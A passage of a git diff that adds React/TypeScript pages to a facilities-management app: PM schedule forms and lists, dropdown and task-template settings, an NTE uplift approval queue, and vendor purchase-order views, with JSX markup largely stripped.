+ Stack, + Switch, + TextField, + Typography, +} from "@mui/material"; +import { + pmScheduleDefaultValues, + pmScheduleSchema, + type PmScheduleFormValues, +} from "@/domain/pm-schedules/schemas/pm-schedule-schema"; +import { usePmScheduleDetail } from "@/domain/pm-schedules/use-cases/use-pm-schedule-detail"; +import { usePmScheduleFormOptions } from "@/domain/pm-schedules/use-cases/use-pm-schedule-form-options"; +import { useSavePmSchedule } from "@/domain/pm-schedules/use-cases/use-save-pm-schedule"; +import { toDateInputValue } from "@/lib/time-utils"; + +export default function PmScheduleFormPage() { + const { id } = useParams(); + const navigate = useNavigate(); + const isEdit = Boolean(id); + + const { data: schedule, isLoading, error } = usePmScheduleDetail(id); + const { + assets, + locations, + isLoading: optionsLoading, + error: optionsError, + } = usePmScheduleFormOptions(); + const savePmSchedule = useSavePmSchedule(id); + + const { + register, + handleSubmit, + reset, + control, + formState: { errors }, + } = useForm({ + resolver: zodResolver(pmScheduleSchema), + defaultValues: pmScheduleDefaultValues, + }); + + useEffect(() => { + if (schedule && isEdit) { + reset({ + name: schedule.name, + frequency: schedule.frequency as PmScheduleFormValues["frequency"], + startDate: toDateInputValue(schedule.startDate), + isActive: schedule.isActive, + assetId: schedule.assetId, + locationId: schedule.locationId, + }); + } + }, [schedule, isEdit, reset]); + + if ((isEdit && isLoading) || optionsLoading) { + return ( + + + + ); + } + + return ( + + + + {isEdit ? "Edit PM Schedule" : "Create PM Schedule"} + + {Boolean(error) && Failed to load PM schedule} + {Boolean(optionsError) && ( + + {optionsError instanceof Error ? optionsError.message : "Failed to load form options"} + + )} + + savePmSchedule.mutate(values))}> + + + + ( + + Frequency + + + )} + /> + + + + ( + + Asset + + + )} + /> + + ( + + Location + + + )} + /> + + ( + } + label="Active" + /> + )} + /> + + + + + + + + + + + ); +} diff --git a/src/app/(protected)/pmschedules/_components/pm-schedule-unavailable.tsx b/src/app/(protected)/pmschedules/_components/pm-schedule-unavailable.tsx new file mode 100644 index 00000000..bf7faea9 --- /dev/null +++ b/src/app/(protected)/pmschedules/_components/pm-schedule-unavailable.tsx @@ -0,0 +1,38 @@ +import { Alert, Box, Button, Typography } from "@mui/material"; +import { useNavigate } from "react-router"; + +export function PmScheduleEditUnavailablePanel() { + return ( + + + PM Schedule editing is unavailable — the production API does not expose{" "} + PMSchedule/GetById. + + + List and create remain available via GetList and{" "} + Save. Enable editing after the backend Dev branch exposes + GetById. + + + ); +} + +export default function PmScheduleEditUnavailablePage() { + const navigate = useNavigate(); + + return ( + + + + + + + ); +} diff --git a/src/app/(protected)/pmschedules/edit/[id].tsx b/src/app/(protected)/pmschedules/edit/[id].tsx new file mode 100644 index 00000000..24b9b509 --- /dev/null +++ b/src/app/(protected)/pmschedules/edit/[id].tsx @@ -0,0 +1,5 @@ +import { pmScheduleCapabilities } from "@/config/pm-schedule-capabilities"; +import PmScheduleFormPage from "../_components/pm-schedule-form"; +import PmScheduleEditUnavailablePage from "../_components/pm-schedule-unavailable"; + +export default pmScheduleCapabilities.canEdit ? PmScheduleFormPage : PmScheduleEditUnavailablePage; diff --git a/src/app/(protected)/pmschedules/index.tsx b/src/app/(protected)/pmschedules/index.tsx new file mode 100644 index 00000000..826381e7 --- /dev/null +++ b/src/app/(protected)/pmschedules/index.tsx @@ -0,0 +1,267 @@ +import { useMemo, useState } from "react"; +import { useNavigate } from "react-router"; +import DeleteOutlineIcon from "@mui/icons-material/DeleteOutlined"; +import EditOutlinedIcon from "@mui/icons-material/EditOutlined"; +import { + Alert, + Box, + Button, + Chip, + CircularProgress, + Dialog, + DialogActions, + DialogContent, + DialogContentText, + DialogTitle, + IconButton, + Paper, + Stack, + Table, + TableBody, + TableCell, + TableContainer, + TableHead, + TablePagination, + TableRow, + TextField, + Tooltip, + Typography, +} from "@mui/material"; +import { pmScheduleCapabilities } from "@/config/pm-schedule-capabilities"; +import type { PmScheduleListItem } from "@/domain/pm-schedules/types/pm-schedule"; +import { useDeletePmSchedule } from "@/domain/pm-schedules/use-cases/use-delete-pm-schedule"; +import { usePmSchedulesList } from "@/domain/pm-schedules/use-cases/use-pm-schedules-list"; +import { useDebounce } from "@/hooks/use-debounce"; + +export default function PmSchedulesListPage() { + const navigate = useNavigate(); + const [search, setSearch] = useState(""); + const [page, setPage] = useState(0); + const [pageSize, setPageSize] = useState(12); + const [deleteTarget, setDeleteTarget] = useState(null); + + const debouncedSearch = useDebounce(search, 300); + const deletePmSchedule = useDeletePmSchedule(); + + const showActionsColumn = pmScheduleCapabilities.canEdit || pmScheduleCapabilities.canDelete; + const columnCount = showActionsColumn ? 7 : 6; + + const listParams = useMemo( + () => ({ + search: debouncedSearch, + page: page + 1, + pageSize, + }), + [debouncedSearch, page, pageSize], + ); + + const { data, isLoading, isFetching, error } = usePmSchedulesList(listParams); + + const rows = data?.items ?? []; + const totalCount = data?.totalCount ?? 0; + + const handleDeleteConfirm = () => { + if (!deleteTarget || !pmScheduleCapabilities.canDelete) return; + deletePmSchedule.mutate(deleteTarget.id, { + onSuccess: () => setDeleteTarget(null), + }); + }; + + return ( + + + + + PM Schedules + + + {totalCount} total + + {isFetching && !isLoading && } + + + + { + setSearch(event.target.value); + setPage(0); + }} + placeholder="Search PM schedules..." + className="min-w-[220px]" + /> + {pmScheduleCapabilities.canCreate && ( + + )} + + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load PM schedules"} + + )} + + + + + Name + Frequency + Start Date + Status + Asset + Location + {showActionsColumn && ( + + Actions + + )} + + + + {isLoading ? ( + + + + + + ) : rows.length === 0 ? ( + + + + No PM schedules found + + + + ) : ( + rows.map((row) => ( + + + {pmScheduleCapabilities.canEdit ? ( + + ) : ( + + {row.name || "—"} + + )} + + {row.frequency || "—"} + {row.startDate || "—"} + + + + {row.asset || "—"} + {row.location || "—"} + {showActionsColumn && ( + + {pmScheduleCapabilities.canEdit && ( + + navigate(`/pmschedules/edit/${row.id}`)} + > + + + + )} + {pmScheduleCapabilities.canDelete && ( + + setDeleteTarget(row)} + > + + + + )} + + )} + + )) + )} + +
+
+ setPage(nextPage)} + rowsPerPage={pageSize} + onRowsPerPageChange={(event) => { + setPageSize(Number(event.target.value)); + setPage(0); + }} + rowsPerPageOptions={[12, 24, 48]} + /> + {pmScheduleCapabilities.canDelete && ( + setDeleteTarget(null)}> + Delete PM Schedule + + + Are you sure you want to delete "{deleteTarget?.name}"? This action cannot + be undone. + + + + + + + + )} +
+ ); +} diff --git a/src/app/(protected)/pmschedules/new.tsx b/src/app/(protected)/pmschedules/new.tsx new file mode 100644 index 00000000..1095dbc3 --- /dev/null +++ b/src/app/(protected)/pmschedules/new.tsx @@ -0,0 +1 @@ +export { default } from "./_components/pm-schedule-form"; diff --git a/src/app/(protected)/settings/dropdowns.tsx b/src/app/(protected)/settings/dropdowns.tsx new file mode 100644 index 00000000..e4aef562 --- /dev/null +++ b/src/app/(protected)/settings/dropdowns.tsx @@ -0,0 +1,324 @@ +import { useMemo, useState } from "react"; +import { + Alert, + Box, + Button, + Chip, + CircularProgress, + FormControl, + InputLabel, + MenuItem, + Paper, + Select, + Stack, + TextField, + Typography, +} from "@mui/material"; +import { SettingsNav } from "@/components/common/settings-nav"; +import { + DROPDOWN_OPTION_CATEGORIES, + type DropdownOption, + type DropdownOptionCategory, +} from "@/domain/settings/dropdown-options/types/dropdown-option"; +import { useCreateDropdownOption } from "@/domain/settings/dropdown-options/use-cases/use-create-dropdown-option"; +import { useDeleteDropdownOption } from "@/domain/settings/dropdown-options/use-cases/use-delete-dropdown-option"; +import { useDropdownOptionsByCategory } from "@/domain/settings/dropdown-options/use-cases/use-dropdown-options-by-category"; +import { useUpdateDropdownOption } from "@/domain/settings/dropdown-options/use-cases/use-update-dropdown-option"; + +export default function DropdownOptionsPage() { + const [activeCategory, setActiveCategory] = useState("Trade"); + const [newValue, setNewValue] = useState(""); + const [newParent, setNewParent] = useState(""); + const [editingId, setEditingId] = useState(null); + const [editValue, setEditValue] = useState(""); + + const categoryConfig = useMemo( + () => DROPDOWN_OPTION_CATEGORIES.find((category) => category.key === activeCategory), + [activeCategory], + ); + + const parentCategory = + categoryConfig && "parent" in categoryConfig ? categoryConfig.parent : undefined; + + const { data: options = [], isLoading, error } = useDropdownOptionsByCategory(activeCategory); + const { data: parentOptions = [] } = useDropdownOptionsByCategory("Trade", { + enabled: Boolean(parentCategory), + }); + + const createMutation = useCreateDropdownOption(); + const updateMutation = useUpdateDropdownOption(); + const deleteMutation = useDeleteDropdownOption(); + + const resetFormState = () => { + setNewValue(""); + setNewParent(""); + setEditingId(null); + setEditValue(""); + }; + + const handleCategoryChange = (category: DropdownOptionCategory) => { + if (category !== activeCategory) { + resetFormState(); + } + setActiveCategory(category); + }; + + const handleAdd = () => { + const value = newValue.trim(); + if (!value) { + return; + } + + createMutation.mutate( + { + category: activeCategory, + value, + parentValue: parentCategory ? newParent || null : null, + sortOrder: options.length, + isActive: true, + }, + { + onSuccess: () => { + setNewValue(""); + setNewParent(""); + }, + }, + ); + }; + + const handleEditSave = (item: DropdownOption) => { + const value = editValue.trim(); + if (!value) { + return; + } + + updateMutation.mutate( + { + id: item.id, + category: item.category, + value, + parentValue: item.parentValue, + sortOrder: item.sortOrder, + isActive: item.isActive, + }, + { + onSuccess: () => { + setEditingId(null); + }, + }, + ); + }; + + const handleDelete = (id: string | number) => { + deleteMutation.mutate(id); + }; + + const addPlaceholder = `Add new ${categoryConfig?.label.slice(0, -1) ?? "option"}...`; + const isMutating = + createMutation.isPending || updateMutation.isPending || deleteMutation.isPending; + + return ( + + + + + Dropdown Options + + + Manage configurable dropdown values for work orders + + + + + {DROPDOWN_OPTION_CATEGORIES.map((category) => ( + + ))} + + + + + {Boolean(parentCategory) && ( + + Parent Trade + + + )} + + setNewValue(event.target.value)} + onKeyDown={(event) => { + if (event.key === "Enter") { + event.preventDefault(); + handleAdd(); + } + }} + placeholder={addPlaceholder} + className="flex-1" + /> + + + + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load options"} + + )} + + {isLoading ? ( + + + + ) : options.length === 0 ? ( + + No options configured yet + + ) : ( + + {options.map((item) => ( + + {editingId === item.id ? ( + setEditValue(event.target.value)} + onKeyDown={(event) => { + if (event.key === "Enter") { + handleEditSave(item); + } + if (event.key === "Escape") { + setEditingId(null); + } + }} + autoFocus + className="flex-1" + /> + ) : ( + + + {item.value} + + {Boolean(item.parentValue) && ( + + )} + + )} + + + {editingId === item.id ? ( + <> + + + + ) : ( + <> + + + + )} + + + ))} + + )} + + + + ); +} diff --git a/src/app/(protected)/settings/task-templates.tsx b/src/app/(protected)/settings/task-templates.tsx new file mode 100644 index 00000000..d9888509 --- /dev/null +++ b/src/app/(protected)/settings/task-templates.tsx @@ -0,0 +1,286 @@ +import { useState } from "react"; +import ArrowDownwardIcon from "@mui/icons-material/ArrowDownward"; +import ArrowUpwardIcon from "@mui/icons-material/ArrowUpward"; +import DeleteOutlineIcon from "@mui/icons-material/DeleteOutlined"; +import { + Alert, + Box, + Button, + CircularProgress, + Dialog, + DialogActions, + DialogContent, + DialogContentText, + DialogTitle, + IconButton, + List, + ListItemButton, + ListItemText, + Paper, + Stack, + TextField, + Typography, +} from "@mui/material"; +import { SettingsNav } from "@/components/common/settings-nav"; +import { mapTaskTemplateToFormValues } from "@/domain/settings/task-templates/mappers/task-template-mapper"; +import type { + TaskTemplate, + TaskTemplateFormValues, +} from "@/domain/settings/task-templates/types/task-template"; +import { + useCreateTaskTemplate, + useDeleteTaskTemplate, + useUpdateTaskTemplate, +} from "@/domain/settings/task-templates/use-cases/use-task-template-mutations"; +import { useTaskTemplates } from "@/domain/settings/task-templates/use-cases/use-task-templates"; + +const emptyForm: TaskTemplateFormValues = { name: "", description: "", items: [] }; + +export default function TaskTemplatesPage() { + const { data: templates = [], isLoading, error } = useTaskTemplates(); + const createTemplate = useCreateTaskTemplate(); + const updateTemplate = useUpdateTaskTemplate(); + const deleteTemplate = useDeleteTaskTemplate(); + + const [selectedId, setSelectedId] = useState(null); + const [form, setForm] = useState(emptyForm); + const [newItemText, setNewItemText] = useState(""); + const [confirmDelete, setConfirmDelete] = useState(false); + + const isNew = selectedId === "new"; + const isSaving = createTemplate.isPending || updateTemplate.isPending; + + const handleSelect = (template: TaskTemplate) => { + setSelectedId(template.id); + setForm(mapTaskTemplateToFormValues(template)); + setNewItemText(""); + }; + + const handleNew = () => { + setSelectedId("new"); + setForm(emptyForm); + setNewItemText(""); + }; + + const handleAddItem = () => { + if (!newItemText.trim()) return; + setForm((prev) => ({ + ...prev, + items: [...prev.items, { text: newItemText.trim(), sortOrder: prev.items.length }], + })); + setNewItemText(""); + }; + + const handleRemoveItem = (index: number) => { + setForm((prev) => ({ + ...prev, + items: prev.items.filter((_, i) => i !== index).map((item, i) => ({ ...item, sortOrder: i })), + })); + }; + + const handleMoveItem = (index: number, direction: -1 | 1) => { + setForm((prev) => { + const items = [...prev.items]; + const target = index + direction; + if (target < 0 || target >= items.length) return prev; + [items[index], items[target]] = [items[target], items[index]]; + return { ...prev, items: items.map((item, i) => ({ ...item, sortOrder: i })) }; + }); + }; + + const handleSave = () => { + if (!form.name.trim()) return; + if (isNew) { + createTemplate.mutate(form, { + onSuccess: (result) => setSelectedId(result.id), + }); + return; + } + if (selectedId && selectedId !== "new") { + updateTemplate.mutate({ id: selectedId, values: form }); + } + }; + + const handleDelete = () => { + if (!selectedId || selectedId === "new") return; + deleteTemplate.mutate(selectedId, { + onSuccess: () => { + setSelectedId(null); + setForm(emptyForm); + setConfirmDelete(false); + }, + }); + }; + + return ( + + + + Task List Templates + + Create reusable checklists for work order dispatches + + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load templates"} + + )} + + + + {isLoading ? ( + + + + ) : ( + + {templates.map((template) => ( + handleSelect(template)} + > + + + ))} + + )} + + + + {!selectedId ? ( + + Select a template or create a new one + + ) : ( + + + setForm((f) => ({ ...f, name: e.target.value }))} + placeholder="e.g., HVAC Inspection" + /> + setForm((f) => ({ ...f, description: e.target.value }))} + /> + + + + Checklist Items ({form.items.length}) + + + + {form.items.map((item, index) => ( + + + {index + 1} + + + {item.text} + + handleMoveItem(index, -1)} + > + + + handleMoveItem(index, 1)} + > + + + handleRemoveItem(index)}> + + + + ))} + + + + setNewItemText(e.target.value)} + onKeyDown={(e) => { + if (e.key === "Enter") { + e.preventDefault(); + handleAddItem(); + } + }} + placeholder="Add checklist item..." + /> + + + + + {!isNew && ( + + )} + + + + )} + + + setConfirmDelete(false)}> + Delete Template + + + Are you sure you want to delete "{form.name}"? + + + + + + + + + ); +} diff --git a/src/app/(protected)/uplifts/index.tsx b/src/app/(protected)/uplifts/index.tsx new file mode 100644 index 00000000..e78ac07f --- /dev/null +++ b/src/app/(protected)/uplifts/index.tsx @@ -0,0 +1,325 @@ +import { useMemo, useState } from "react"; +import { useNavigate } from "react-router"; +import { + Alert, + Box, + Button, + Chip, + CircularProgress, + Dialog, + DialogActions, + DialogContent, + DialogTitle, + FormControl, + InputLabel, + MenuItem, + Paper, + Select, + Stack, + Table, + TableBody, + TableCell, + TableContainer, + TableHead, + TablePagination, + TableRow, + TextField, + Tooltip, + Typography, +} from "@mui/material"; +import type { UpliftQueueItem } from "@/domain/uplifts/types/uplift"; +import { useApproveUplift, useDenyUplift } from "@/domain/uplifts/use-cases/use-uplift-actions"; +import { useUpliftsQueue } from "@/domain/uplifts/use-cases/use-uplifts-queue"; +import { formatDateTime } from "@/lib/time-utils"; + +const STATUS_OPTIONS = ["Pending", "Approved", "Denied", "Cancelled", ""]; + +function formatMoney(value: number | null | undefined): string { + return `$${Number(value ?? 0).toFixed(2)}`; +} + +export default function UpliftQueuePage() { + const navigate = useNavigate(); + const [status, setStatus] = useState("Pending"); + const [tier, setTier] = useState(""); + const [page, setPage] = useState(0); + const [pageSize] = useState(25); + + const [upliftAction, setUpliftAction] = useState<{ + type: "approve" | "deny"; + item: UpliftQueueItem; + } | null>(null); + const [note, setNote] = useState(""); + + const listParams = useMemo( + () => ({ status, tier, page: page + 1, pageSize }), + [status, tier, page, pageSize], + ); + + const { data, isLoading, isFetching, error, refetch } = useUpliftsQueue(listParams); + const approveUplift = useApproveUplift(); + const denyUplift = useDenyUplift(); + + const rows = data?.items ?? []; + const totalCount = data?.totalCount ?? 0; + + const handleConfirm = () => { + if (!upliftAction) return; + if (upliftAction.type === "approve") { + approveUplift.mutate( + { id: upliftAction.item.id, note: note || undefined }, + { + onSuccess: () => { + setUpliftAction(null); + setNote(""); + void refetch(); + }, + }, + ); + } else { + if (!note.trim()) return; + denyUplift.mutate( + { id: upliftAction.item.id, note: note.trim() }, + { + onSuccess: () => { + setUpliftAction(null); + setNote(""); + void refetch(); + }, + }, + ); + } + }; + + return ( + + + + + Uplift Queue + + + {totalCount} total + + {isFetching && !isLoading && } + + + + + Status + + + + Tier + + + + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load uplift queue"} + + )} + + + + + Dispatch + PO + Vendor + Current NTE + Requested + Delta + Tier + Status + Requested At + Actions + + + + {isLoading ? ( + + + + + + ) : rows.length === 0 ? ( + + + + No uplift requests match these filters. + + + + ) : ( + rows.map((row) => ( + + {row.dispatchNumber} + {row.poNumber} + {row.vendorCompanyName} + {formatMoney(row.currentNTE)} + {formatMoney(row.requestedNTE)} + {formatMoney(row.delta)} + + + + + + + {row.requestedAt ? formatDateTime(row.requestedAt) : ""} + + + {Boolean(row.workOrderId) && ( + + )} + {row.status === "Pending" && ( + <> + + + + + + + + + + + + )} + + + + )) + )} + +
+
+ setPage(nextPage)} + rowsPerPage={pageSize} + rowsPerPageOptions={[25]} + /> + setUpliftAction(null)}> + + {upliftAction?.type === "approve" + ? `Approve uplift to ${formatMoney(upliftAction.item.requestedNTE)}?` + : "Deny Uplift"} + + + {upliftAction?.type === "approve" && ( + + {formatMoney(upliftAction.item.currentNTE)} →{" "} + {formatMoney(upliftAction.item.requestedNTE)} (+ + {formatMoney(upliftAction.item.delta)}) + + )} + setNote(e.target.value)} + /> + + + + + + +
+ ); +} diff --git a/src/app/(protected)/vendor-pos/[id].tsx b/src/app/(protected)/vendor-pos/[id].tsx new file mode 100644 index 00000000..684dc0c7 --- /dev/null +++ b/src/app/(protected)/vendor-pos/[id].tsx @@ -0,0 +1,352 @@ +import { useState, type ReactNode } from "react"; +import { useNavigate, useParams } from "react-router"; +import { + Alert, + Box, + Button, + Chip, + CircularProgress, + Dialog, + DialogActions, + DialogContent, + DialogTitle, + Paper, + Stack, + Table, + TableBody, + TableCell, + TableHead, + TableRow, + TextField, + Typography, +} from "@mui/material"; +import { useApproveUplift, useDenyUplift } from "@/domain/uplifts/use-cases/use-uplift-actions"; +import { useVendorPoDetail } from "@/domain/vendor-pos/use-cases/use-vendor-po-detail"; +import type { UpliftRequest } from "@/domain/uplifts/types/uplift"; +import { formatDateTime, toDateInputValue } from "@/lib/time-utils"; + +function formatMoney(value: number | null | undefined): string { + if (value == null) return "—"; + return `$${Number(value).toFixed(2)}`; +} + +function InfoRow({ label, children }: { label: string; children: ReactNode }) { + return ( + + + {label} + + + {children == null || children === "" ? "—" : children} + + + ); +} + +export default function VendorPoViewPage() { + const { id } = useParams(); + const navigate = useNavigate(); + const { data: dispatch, isLoading, error, refetch } = useVendorPoDetail(id); + + const approveUplift = useApproveUplift(id); + const denyUplift = useDenyUplift(id); + + const [upliftAction, setUpliftAction] = useState<{ + type: "approve" | "deny"; + uplift: UpliftRequest; + } | null>(null); + const [note, setNote] = useState(""); + + const handleUpliftConfirm = () => { + if (!upliftAction) return; + if (upliftAction.type === "approve") { + approveUplift.mutate( + { id: upliftAction.uplift.id, note: note || undefined }, + { + onSuccess: () => { + setUpliftAction(null); + setNote(""); + void refetch(); + }, + }, + ); + } else { + if (!note.trim()) return; + denyUplift.mutate( + { id: upliftAction.uplift.id, note: note.trim() }, + { + onSuccess: () => { + setUpliftAction(null); + setNote(""); + void refetch(); + }, + }, + ); + } + }; + + if (isLoading) { + return ( + + + + ); + } + + if (error || !dispatch) { + return ( + + + {error instanceof Error ? error.message : "Vendor PO not found"} + + + ); + } + + const vendor = dispatch.vendor; + + return ( + + + + + + + + {dispatch.poNumber || "(no PO #)"} + + + Dispatch {dispatch.dispatchNumber || "—"} + + + {vendor != null && Boolean(vendor.companyName) && ( + + · {vendor.companyName} + + )} + {dispatch.nteAmount != null && ( + + · NTE {formatMoney(dispatch.nteAmount)} + + )} + + + + + + + Vendor + + {vendor ? ( + + {vendor.companyName} + {vendor.contactName} + {vendor.email} + {vendor.phone} + + {[vendor.address, vendor.city, vendor.state, vendor.zip].filter(Boolean).join(", ")} + + {vendor.tradeSpecialties} + + ) : ( + No vendor attached. + )} + + + + + PO Details + + + {dispatch.poNumber} + {dispatch.dispatchNumber} + {dispatch.status} + {formatMoney(dispatch.nteAmount)} + {formatDateTime(dispatch.dispatchedAt)} + {formatDateTime(dispatch.acknowledgedAt)} + {toDateInputValue(dispatch.scheduledDate) || "—"} + {toDateInputValue(dispatch.completedDate) || "—"} + {formatDateTime(dispatch.verifiedAt)} + {dispatch.emailSent ? "Yes" : "No"} + + {Boolean(dispatch.description) && ( + + + Description + + + {dispatch.description} + + + )} + + + {dispatch.primaryLocation != null && ( + + + Site + + + {dispatch.primaryLocation.name} + + {[ + dispatch.primaryLocation.address, + dispatch.primaryLocation.city, + dispatch.primaryLocation.state, + dispatch.primaryLocation.zipCode, + ] + .filter(Boolean) + .join(", ")} + + + + )} + + + + Linked Work Orders ({dispatch.workOrders.length}) + + {dispatch.workOrders.length === 0 ? ( + No work orders linked. + ) : ( + + + + WO # + Title + Trade + Status + Location + + + + {dispatch.workOrders.map((wo) => ( + + + + + {wo.title} + {wo.trade} + {wo.status} + {wo.locationName} + + ))} + +
+ )} +
+ + + + NTE Uplift History ({dispatch.upliftRequests.length}) + + {dispatch.upliftRequests.length === 0 ? ( + No uplift requests on this PO. + ) : ( + + {dispatch.upliftRequests.map((u) => ( + + + + {formatMoney(u.currentNTE)} → {formatMoney(u.requestedNTE)} + + (Δ {formatMoney(u.delta)}, Tier {u.requiredTier}) + + + + + {Boolean(u.vendorReason) && ( + + Reason: {u.vendorReason} + + )} + {u.status === "Pending" && ( + + + + + )} + + ))} + + )} + +
+ + setUpliftAction(null)}> + + {upliftAction?.type === "approve" ? "Approve Uplift" : "Deny Uplift"} + + + setNote(e.target.value)} + required={upliftAction?.type === "deny"} + /> + + + + + + +
+ ); +} diff --git a/src/app/(protected)/vendor-pos/_components/vendor-pos-list-controls.tsx b/src/app/(protected)/vendor-pos/_components/vendor-pos-list-controls.tsx new file mode 100644 index 00000000..df8ab433 --- /dev/null +++ b/src/app/(protected)/vendor-pos/_components/vendor-pos-list-controls.tsx @@ -0,0 +1,157 @@ +import { + Button, + CircularProgress, + FormControl, + InputLabel, + MenuItem, + Select, + Stack, + TextField, + Typography, +} from "@mui/material"; +import type { VendorListItem } from "@/domain/vendors/types/vendor"; +import type { VendorPosFilters } from "../_hooks/use-vendor-pos-filters"; + +const STATUS_OPTIONS = [ + "", + "Sent", + "Acknowledged", + "In Progress", + "Completed", + "Verified", + "Cancelled", +]; + +interface VendorPosListControlsProps { + filters: VendorPosFilters; + vendors: VendorListItem[]; + totalCount: number; + isFetching: boolean; + isLoading: boolean; + onSearchChange: (value: string) => void; + onFilterChange: (name: Exclude, value: string) => void; + onClearFilters: () => void; +} + +export function VendorPosListControls({ + filters, + vendors, + totalCount, + isFetching, + isLoading, + onSearchChange, + onFilterChange, + onClearFilters, +}: VendorPosListControlsProps) { + return ( + <> + + + + Vendor POs + + + {totalCount} total + + {isFetching && !isLoading && } + + + onSearchChange(event.target.value)} + placeholder="Search PO #, dispatch, vendor, WO..." + sx={{ width: { xs: "100%", sm: 360 }, minWidth: 280, flexShrink: 0 }} + /> + + + + + Status + + + + + Vendor + + + + onFilterChange("dateFrom", event.target.value)} + slotProps={{ inputLabel: { shrink: true } }} + sx={{ width: { xs: "100%", sm: 164 }, minWidth: 140, flexShrink: 0 }} + /> + onFilterChange("dateTo", event.target.value)} + slotProps={{ inputLabel: { shrink: true } }} + sx={{ width: { xs: "100%", sm: 164 }, minWidth: 140, flexShrink: 0 }} + /> + + + + ); +} diff --git a/src/app/(protected)/vendor-pos/_components/vendor-pos-list-table.tsx b/src/app/(protected)/vendor-pos/_components/vendor-pos-list-table.tsx new file mode 100644 index 00000000..28d8f7c6 --- /dev/null +++ b/src/app/(protected)/vendor-pos/_components/vendor-pos-list-table.tsx @@ -0,0 +1,111 @@ +import { + Button, + Chip, + CircularProgress, + Paper, + Table, + TableBody, + TableCell, + TableContainer, + TableHead, + TableRow, + Typography, +} from "@mui/material"; +import type { VendorPoListItem } from "@/domain/vendor-pos/types/vendor-po"; +import { toDateInputValue } from "@/lib/time-utils"; + +interface VendorPosListTableProps { + rows: VendorPoListItem[]; + isLoading: boolean; + onNavigate: (id: string | number) => void; +} + +function formatMoney(value: number | null): string { + if (value == null) return "—"; + return `$${value.toFixed(2)}`; +} + +function formatDate(value: string): string { + if (!value) return "—"; + return toDateInputValue(value) || "—"; +} + +export function VendorPosListTable({ rows, isLoading, onNavigate }: VendorPosListTableProps) { + return ( + + + + + PO # + Dispatch # + Vendor + WO # + Location + NTE + Status + Uplifts + Dispatched + + + + {isLoading ? ( + + + + + + ) : rows.length === 0 ? ( + + + No vendor POs found + + + ) : ( + rows.map((row) => ( + onNavigate(row.id)} + > + + + + {row.dispatchNumber || "—"} + {row.vendorName || "—"} + {row.primaryWOInternalNumber || "—"} + {row.locationName || "—"} + {formatMoney(row.nteAmount)} + + + + + {row.pendingUpliftCount > 0 ? ( + + ) : ( + "—" + )} + + {formatDate(row.dispatchedAt)} + + )) + )} + +
+
+ ); +} diff --git a/src/app/(protected)/vendor-pos/_hooks/use-vendor-pos-filters.ts b/src/app/(protected)/vendor-pos/_hooks/use-vendor-pos-filters.ts new file mode 100644 index 00000000..d88fa2fa --- /dev/null +++ b/src/app/(protected)/vendor-pos/_hooks/use-vendor-pos-filters.ts @@ -0,0 +1,87 @@ +import { useMemo, useState } from "react"; +import type { VendorPoListParams } from "@/domain/vendor-pos/types/vendor-po"; +import { useDebounce } from "@/hooks/use-debounce"; + +export interface VendorPosFilters { + search: string; + status: string; + vendorId: string; + dateFrom: string; + dateTo: string; +} + +type VendorPosFilterName = Exclude; + +const INITIAL_FILTERS: VendorPosFilters = { + search: "", + status: "", + vendorId: "", + dateFrom: "", + dateTo: "", +}; + +export function useVendorPosFilters() { + const [filters, setFilters] = useState(INITIAL_FILTERS); + const [page, setPage] = useState(0); + const [pageSize, setPageSize] = useState(12); + const debouncedSearch = useDebounce(filters.search, 300); + + const listParams = useMemo( + () => ({ + search: debouncedSearch, + page: page + 1, + pageSize, + status: filters.status, + vendorId: filters.vendorId, + dateFrom: filters.dateFrom, + dateTo: filters.dateTo, + }), + [ + debouncedSearch, + filters.dateFrom, + filters.dateTo, + filters.status, + filters.vendorId, + page, + pageSize, + ], + ); + + const setSearch = (search: string) => { + setFilters((current) => ({ ...current, search })); + setPage(0); + }; + + const setFilter = (name: VendorPosFilterName, value: string) => { + setFilters((current) => ({ ...current, [name]: value })); + setPage(0); + }; + + const clearFilters = () => { + setFilters((current) => ({ + ...current, + status: "", + vendorId: "", + dateFrom: "", + dateTo: "", + })); + setPage(0); + }; + + const changePageSize = (nextPageSize: number) => { + setPageSize(nextPageSize); + setPage(0); + }; + + return { + filters, + page, + pageSize, + listParams, + setSearch, + setFilter, + clearFilters, + setPage, + changePageSize, + }; +} diff --git a/src/app/(protected)/vendor-pos/index.tsx b/src/app/(protected)/vendor-pos/index.tsx new file mode 100644 index 00000000..17c65bce --- /dev/null +++ b/src/app/(protected)/vendor-pos/index.tsx @@ -0,0 +1,61 @@ +import { Alert, Box, TablePagination } from "@mui/material"; +import { useNavigate } from "react-router"; +import { VendorPosListControls } from "./_components/vendor-pos-list-controls"; +import { VendorPosListTable } from "./_components/vendor-pos-list-table"; +import { useVendorPosFilters } from "./_hooks/use-vendor-pos-filters"; +import { useVendorPosList } from "@/domain/vendor-pos/use-cases/use-vendor-pos-list"; +import { useVendorsList } from "@/domain/vendors/use-cases/use-vendors-list"; + +export default function VendorPosListPage() { + const navigate = useNavigate(); + const { + filters, + page, + pageSize, + listParams, + setSearch, + setFilter, + clearFilters, + setPage, + changePageSize, + } = useVendorPosFilters(); + const { data, isLoading, isFetching, error } = useVendorPosList(listParams); + const { data: vendorsData } = useVendorsList({ page: 1, pageSize: 500 }); + const rows = data?.items ?? []; + const totalCount = data?.totalCount ?? 0; + const vendors = vendorsData?.items ?? []; + + return ( + + + {Boolean(error) && ( + + {error instanceof Error ? error.message : "Failed to load vendor POs"} + + )} + navigate(`/vendor-pos/${id}`)} + /> + setPage(nextPage)} + rowsPerPage={pageSize} + onRowsPerPageChange={(event) => changePageSize(Number(event.target.value))} + rowsPerPageOptions={[12, 24, 48]} + /> + + ); +} diff --git a/src/app/(protected)/vendors/_components/use-vendor-deactivation.ts b/src/app/(protected)/vendors/_components/use-vendor-deactivation.ts new file mode 100644 index 00000000..9b6f3b0d --- /dev/null +++ b/src/app/(protected)/vendors/_components/use-vendor-deactivation.ts @@ -0,0 +1,58 @@ +import { useState } from "react"; +import { useDeleteVendor } from "@/domain/vendors/use-cases/use-delete-vendor"; +import { useVendorDeactivationImpact } from "@/domain/vendors/use-cases/use-vendor-deactivation-impact"; +import type { VendorDeactivationImpact, VendorListItem } from "@/domain/vendors/types/vendor"; + +export interface VendorDeactivationState { + target: VendorListItem | null; + error: string | null; + impact: VendorDeactivationImpact | undefined; + isLoading: boolean; + impactError: Error | null; + isSaving: boolean; + open: (row: 